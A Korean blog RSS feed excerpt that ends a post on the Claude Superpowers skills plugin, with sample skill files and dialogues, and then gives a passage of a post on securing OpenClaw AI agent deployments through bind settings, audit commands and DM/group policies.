&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;RED-GREEN-REFACTOR 사이클&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트 작성 규칙&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트 가능한 코드 작성&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. debugging&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;문제 재현 조건 명시&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;체계적 가설 수립&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;로그 및 추적 전략&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. requesting-code-review&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;코드 리뷰 요청 방법&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;서브에이전트에게 리뷰 위임&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Critical 이슈 즉시 수정&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6. remembering-conversations&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;대화 내역 저장 및 인덱싱&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;과거 컨텍스트 검색&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;장기 프로젝트 맥락 유지&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;7.2 커스텀 스킬 생성 예시&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;팀에서 실제로 사용할 만한 커스텀 스킬:&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;API-First Development&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# Skill: API-First Development

## Context
Our team always designs the API contract before implementation.

## Steps
1. Write OpenAPI/Swagger specification
2. Include request/response examples
3. Document error cases
4. Get specification reviewed
5. Generate API client stub
6. Implement backend to match spec
7. Verify implementation matches spec

## Rules
- NEVER implement API without specification
- ALL endpoints must have examples
- Error responses must be documented
- Breaking changes require version bump&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Security Review Checklist&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;# Skill: Security Review Before Merge

## When to use
Before merging any code that:
- Handles user input
- Accesses database
- Makes external API calls
- Deals with authentication/authorization

## Checklist
- [ ] Input validation implemented
- [ ] SQL injection prevention (parameterized queries)
- [ ] XSS prevention (output escaping)
- [ ] CSRF tokens for state-changing operations
- [ ] Authentication required for protected endpoints
- [ ] Authorization checks present
- [ ] Sensitive data not logged
- [ ] Secrets not hardcoded
- [ ] Rate limiting considered
- [ ] Error messages don't leak info

## Rules
- ALL items must be checked before merge
- If unsure, ask security team&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;8. 미래 전망&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;8.1 아직 구현되지 않은 기능&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers는 아직 개발 중이다. 계획된 주요 기능:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 스킬 공유 시스템&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;커뮤니티에서 스킬 공유&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GitHub PR로 새 스킬 기여&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;팀별 프라이빗 스킬 저장소&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 메모리 시스템 완전 통합&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;자동으로 관련 과거 대화 검색&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;프로젝트 히스토리 추적&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;의사결정 이력 관리&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 스킬 마켓플레이스&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;검증된 스킬 패키지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;산업별 스킬 세트&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;버전 관리 및 업데이트&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;8.2 에이전트 시대의 의미&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers는 더 큰 흐름의 일부다. Microsoft Amplifier, Anthropic의 Office 문서 생성 등, 많은 프로젝트가 비슷한 패턴을 사용한다:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;마크다운으로 작성된 지식 &amp;rarr; AI가 읽고 실행 &amp;rarr; 새로운 지식을 다시 마크다운으로 작성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이것은 AI가 &quot;학습&quot;하는 새로운 방식이다. 파인튜닝이나 RAG가 아니라, 사람이 책을 읽고 배우듯이 문서를 읽고 행동하는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;더 흥미로운 점은, AI가 &lt;i&gt;스스로&lt;/i&gt; 새로운 지식을 작성할 수 있다는 것이다:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;나: &quot;여기 'Clean Code' 책이 있어. 읽고, 
     이전에 몰랐던 재사용 가능한 스킬을 추출해줘.&quot;

Claude: [책을 읽고 분석]
&quot;10개의 새로운 스킬을 추출했습니다:
1. Meaningful Names
2. Function Size Guidelines
3. Comment Best Practices
...&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이것은 AI가 단순한 도구에서 &quot;지속적으로 개선되는 동료&quot;로 변화하고 있음을 의미한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;9.&amp;nbsp; 시작하기&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;9.1 첫 프로젝트&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치 후 간단한 프로젝트로 테스트:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;나: &quot;간단한 계산기 CLI 앱을 만들고 싶어. 더하기, 빼기, 곱하기, 나누기.&quot;

Claude: [brainstorm 스킬 활성화]
&quot;프로젝트를 시작하기 전에 몇 가지 질문드리겠습니다:
1. 어떤 프로그래밍 언어를 사용하시겠습니까?
2. 소수점 연산을 지원해야 하나요?
3. 입력 형식은? (대화형 vs 명령줄 인자)
4. 에러 처리 요구사항은?
...&quot;

[질문에 답변]

Claude: [planning 스킬 활성화]
&quot;계획을 작성했습니다:
1. 입력 파서 (+ 테스트)
2. 계산 로직 (+ 테스트)
3. CLI 인터페이스 (+ 테스트)
4. 에러 핸들링 (+ 테스트)

Git worktree를 생성하여 작업하시겠습니까?&quot;

나: &quot;좋아, 진행해&quot;

[TDD로 구현 시작]&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;10. 마치며&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;10.1 개인적인 느낌&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude Superpowers를 사용한 지 몇 주가 지났다. 처음에는 &quot;이게 정말 필요한가?&quot;라는 의구심이 있었다. 모든 작업마다 스킬을 찾고, 계획을 세우고, TDD로 구현하는 게 오버엔지니어링처럼 느껴졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;하지만 조금 더 사용해보니 생각이 바뀌었다. 중요한 건 &lt;i&gt;속도&lt;/i&gt;가 아니라 &lt;i&gt;방향&lt;/i&gt;이었다. 빠르게 잘못된 코드를 작성하는 것보다, 조금 느리더라도 올바른 방향으로 가는 게 결과적으로 더 빠르다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;특히 인상적이었던 점:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;버그가 줄었다&lt;/b&gt;: TDD 덕분에 엣지 케이스를 미리 발견&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;코드 리뷰가 편해졌다&lt;/b&gt;: 일관된 스타일과 패턴&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;온보딩이 빨라졌다&lt;/b&gt;: 신입이 스킬을 읽으면 됨&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;기술 부채가 쌓이지 않았다&lt;/b&gt;: 매번 리팩터링 단계 포함&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;10.2 AI 도구의 진화&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI 코딩 도구는 계속 진화하고 있다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1세대: 코드 자동완성 (GitHub Copilot)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2세대: 대화형 코드 생성 (ChatGPT, Claude)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3세대: &lt;b&gt;프로세스를 가진 개발 에이전트&lt;/b&gt; (Superpowers)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers는 단순히 코드를 생성하는 도구가 아니다. 개발 프로세스 자체를 학습하고 강제하는 도구다. 마치 페어 프로그래밍을 하는 시니어 개발자처럼.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;참고 자료&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Superpowers GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/obra/Superpowers&quot;&gt;https://github.com/obra/Superpowers&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;공식 블로그 포스트&lt;/b&gt;: &lt;a href=&quot;https://blog.fsck.com/2025/10/09/superpowers/&quot;&gt;https://blog.fsck.com/2025/10/09/superpowers/&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Claude Code 문서&lt;/b&gt;: &lt;a href=&quot;https://docs.claude.com/en/docs/claude-code/plugins&quot;&gt;https://docs.claude.com/en/docs/claude-code/plugins&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;데모 트랜스크립트&lt;/b&gt;: &lt;a href=&quot;https://blog.fsck.com/blog/2025/superpowers/superpowers-demo.txt&quot;&gt;https://blog.fsck.com/blog/2025/superpowers/superpowers-demo.txt&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;설득과 AI 연구&lt;/b&gt;: &lt;a href=&quot;https://gail.wharton.upenn.edu/research-and-insights/call-me-a-jerk-persuading-ai/&quot;&gt;https://gail.wharton.upenn.edu/research-and-insights/call-me-a-jerk-persuading-ai/&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Side Project/AI Powered</category>
      <category>AI</category>
      <category>Claude</category>
      <category>TDD</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/313</guid>
      <comments>https://gomguk.tistory.com/313#entry313comment</comments>
      <pubDate>Mon, 9 Feb 2026 05:11:55 +0900</pubDate>
    </item>
    <item>
      <title>[OpenClaw] 운영에서의 보안상 유의사항</title>
      <link>https://gomguk.tistory.com/312</link>
      <description>&lt;h1&gt;1. 들어가며&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw는 대화형 AI가 가졌던 기존의 한계&amp;mdash;즉, 말만 하고 직접 수행하지 못했던 영역&amp;mdash;를 넘어 설 실제 명령 실행, 파일 접근, 브라우저 제어까지 가능하게 하는 기술이다. 이는 AI 에이전트의 활용 범위를 크게 확장하는 동시에, &lt;b&gt;많은 권한&lt;/b&gt;을 한 시스템에 부여한다는 뜻이기도 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 OpenClaw 운영 시 고려해야 할 보안상 유의사항과, 공식 문서에서 제공하는 보안 점검 방법을 정리한 것이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;2. 권한과 파급력&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw 에이전트는 다음과 같은 능력을 가질 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;셸 명령 실행 (&lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;process&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;파일 읽기/쓰기 (&lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;apply_patch&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;브라우저 제어, 웹 검색&lt;/li&gt;
&lt;li&gt;Anthropic, OpenAI, Telegram, Slack, Discord 등 API/토큰 사용&lt;/li&gt;
&lt;li&gt;채널을 통한 메시지 송수신&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 토큰, OAuth 인증 정보, 세션 로그 같은 &lt;b&gt;민감 정보가 유출될 경우&lt;/b&gt; 파급력이 매우 크다. 실제로 2026년 1월을 전후로 여러 보안 연구 결과가 공개되었다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2.1 외부 노출 현황&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조사 결과, &lt;b&gt;1,000건 이상의 OpenClaw(Clawdbot) 접속 지점이 인터넷에 노출&lt;/b&gt;되어 있는 것으로 보고되었다.&lt;/p&gt;
&lt;table style=&quot;height: 128px;&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 23px;&quot;&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;height: 23px;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 42px;&quot;&gt;
&lt;td style=&quot;height: 42px;&quot;&gt;&lt;a href=&quot;https://toclawdbot.com/security/port-exposure&quot;&gt;toclawdbot.com/security/port-exposure&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;height: 42px;&quot;&gt;Shodan, Censys 스캔으로 1,000건 이상의 게이트웨이 포트(기본 18789)가 공개 노출된 사례 보고&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;a href=&quot;https://breached.company/over-1-000-clawdbot-ai-agents-exposed-on-the-public-internet-a-security-wake-up-call-for-autonomous-ai-infrastructure/&quot;&gt;breached.company&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;SOCRadar가 1,100건 이상의 노출된 Clawdbot 게이트웨이 및 컨트롤 인스턴스 식별&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;a href=&quot;https://pub.towardsai.net/hundreds-of-clawdbot-instances-were-exposed-on-the-internet-heres-how-to-not-be-one-of-them-63fa813e6625&quot;&gt;Towards AI&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;수백 개의 인스턴스가 잘못된 바인딩 설정으로 외부에 노출된 사례 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;&lt;a href=&quot;https://blogs.cisco.com/ai/personal-ai-agents-like-openclaw-are-a-security-nightmare&quot;&gt;Cisco Blogs&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;개인용 AI 에이전트의 보안 리스크에 대한 논의&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공통적인 원인은 &lt;code&gt;gateway.bind&lt;/code&gt;를 &lt;code&gt;&quot;loopback&quot;&lt;/code&gt; 대신 &lt;code&gt;&quot;0.0.0.0&quot;&lt;/code&gt; 또는 &lt;code&gt;&quot;all&quot;&lt;/code&gt;로 설정해, 인증 없이 외부에서 접근 가능하게 된 경우이다. 일부 사례에서는 API 키 유출로 수억 개의 Anthropic 토큰이 무단 소비되는 피해도 보고되었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;3. 보안 점검과 책임&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw는 보안성을 점검할 수 있는 &lt;b&gt;옵션&lt;/b&gt;을 제공한다. 노출 범위 관리와 설정 선택에 대한 책임은 &lt;b&gt;이용자&lt;/b&gt;에게 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3.1 &lt;code&gt;openclaw security audit&lt;/code&gt; 사용&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서(&lt;a href=&quot;https://docs.clawd.bot/security&quot;&gt;docs.clawd.bot/security&lt;/a&gt;)에 따르면 다음 명령으로 보안 점검을 수행할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 기본 점검
openclaw security audit

# 상세 점검 (라이브 게이트웨이 프로브 포함)
openclaw security audit --deep

# 안전한 가드레일 자동 적용 (groupPolicy, redactSensitive, 파일 권한 등)
openclaw security audit --fix&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 변경이나 네트워크 노출 범위 변경 후에는 주기적으로 재실행하는 것이 권장된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;4. 필자의 운영 환경&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 메인 서버가 있으나, OpenClaw를 &lt;b&gt;별도 컨테이너 환경&lt;/b&gt;에서 구성한다. 이때 다음을 유의하고자 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;루트 경로(&lt;code&gt;/&lt;/code&gt;)나 시스템 전역 디렉터리를 워크스페이스로 사용하지 않음&lt;/li&gt;
&lt;li&gt;가능한 한 &lt;b&gt;비 root 사용자&lt;/b&gt;로 실행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateway.bind&lt;/code&gt;는 &lt;code&gt;loopback&lt;/code&gt;으로 고정하고, 원격 접근은 Tailscale 등의 터널링으로 제한&lt;/li&gt;
&lt;li&gt;민감 자격증명은 &lt;code&gt;~/.openclaw/credentials/&lt;/code&gt; 등 제한된 경로에 두고, 해당 디렉터리 권한을 &lt;code&gt;700&lt;/code&gt; 수준으로 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;5. 취약하게 설정될 수 있는 지점 3가지&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 보안 문서를 바탕으로, 취약하게 설정될 수 있는 대표적인 지점 3가지를 선정하고, 각각의 위협과 권장 설정을 정리한다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5.1 네트워크 노출 (gateway.bind)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;취약 설정&lt;/th&gt;
&lt;th&gt;위협&lt;/th&gt;
&lt;th&gt;권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gateway.bind&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;lan&quot;&lt;/code&gt;, &lt;code&gt;&quot;all&quot;&lt;/code&gt;, &lt;code&gt;0.0.0.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;게이트웨이 포트(기본 18789)가 외부에 노출되어, 인증 우회&amp;middot;Control UI 무단 접근 가능&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;loopback&quot;&lt;/code&gt; (127.0.0.1만 수신). 원격 접근은 Tailscale Serve, Cloudflare Tunnel 등으로 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; 인증되지 않은 공격자가 Control UI에 접근해 설정&amp;middot;토큰&amp;middot;채널 정보를 열람하거나, 에이전트를 통해 명령 실행&amp;middot;파일 접근을 시도할 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5.2 DM/그룹 정책 (dmPolicy, groupPolicy)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;취약 설정&lt;/th&gt;
&lt;th&gt;위협&lt;/th&gt;
&lt;th&gt;권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dmPolicy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;open&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;누구나 DM으로 봇을 호출 가능&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;pairing&quot;&lt;/code&gt;(기본) 또는 &lt;code&gt;&quot;allowlist&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;groupPolicy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&quot;open&quot;&lt;/code&gt; + &lt;code&gt;requireMention: false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;그룹 채팅에서 멘션 없이도 항상 응답, 프롬프트 인젝션 등 악용 가능&lt;/td&gt;
&lt;td&gt;&lt;code&gt;requireMention: true&lt;/code&gt;, &lt;code&gt;groupPolicy: &quot;allowlist&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
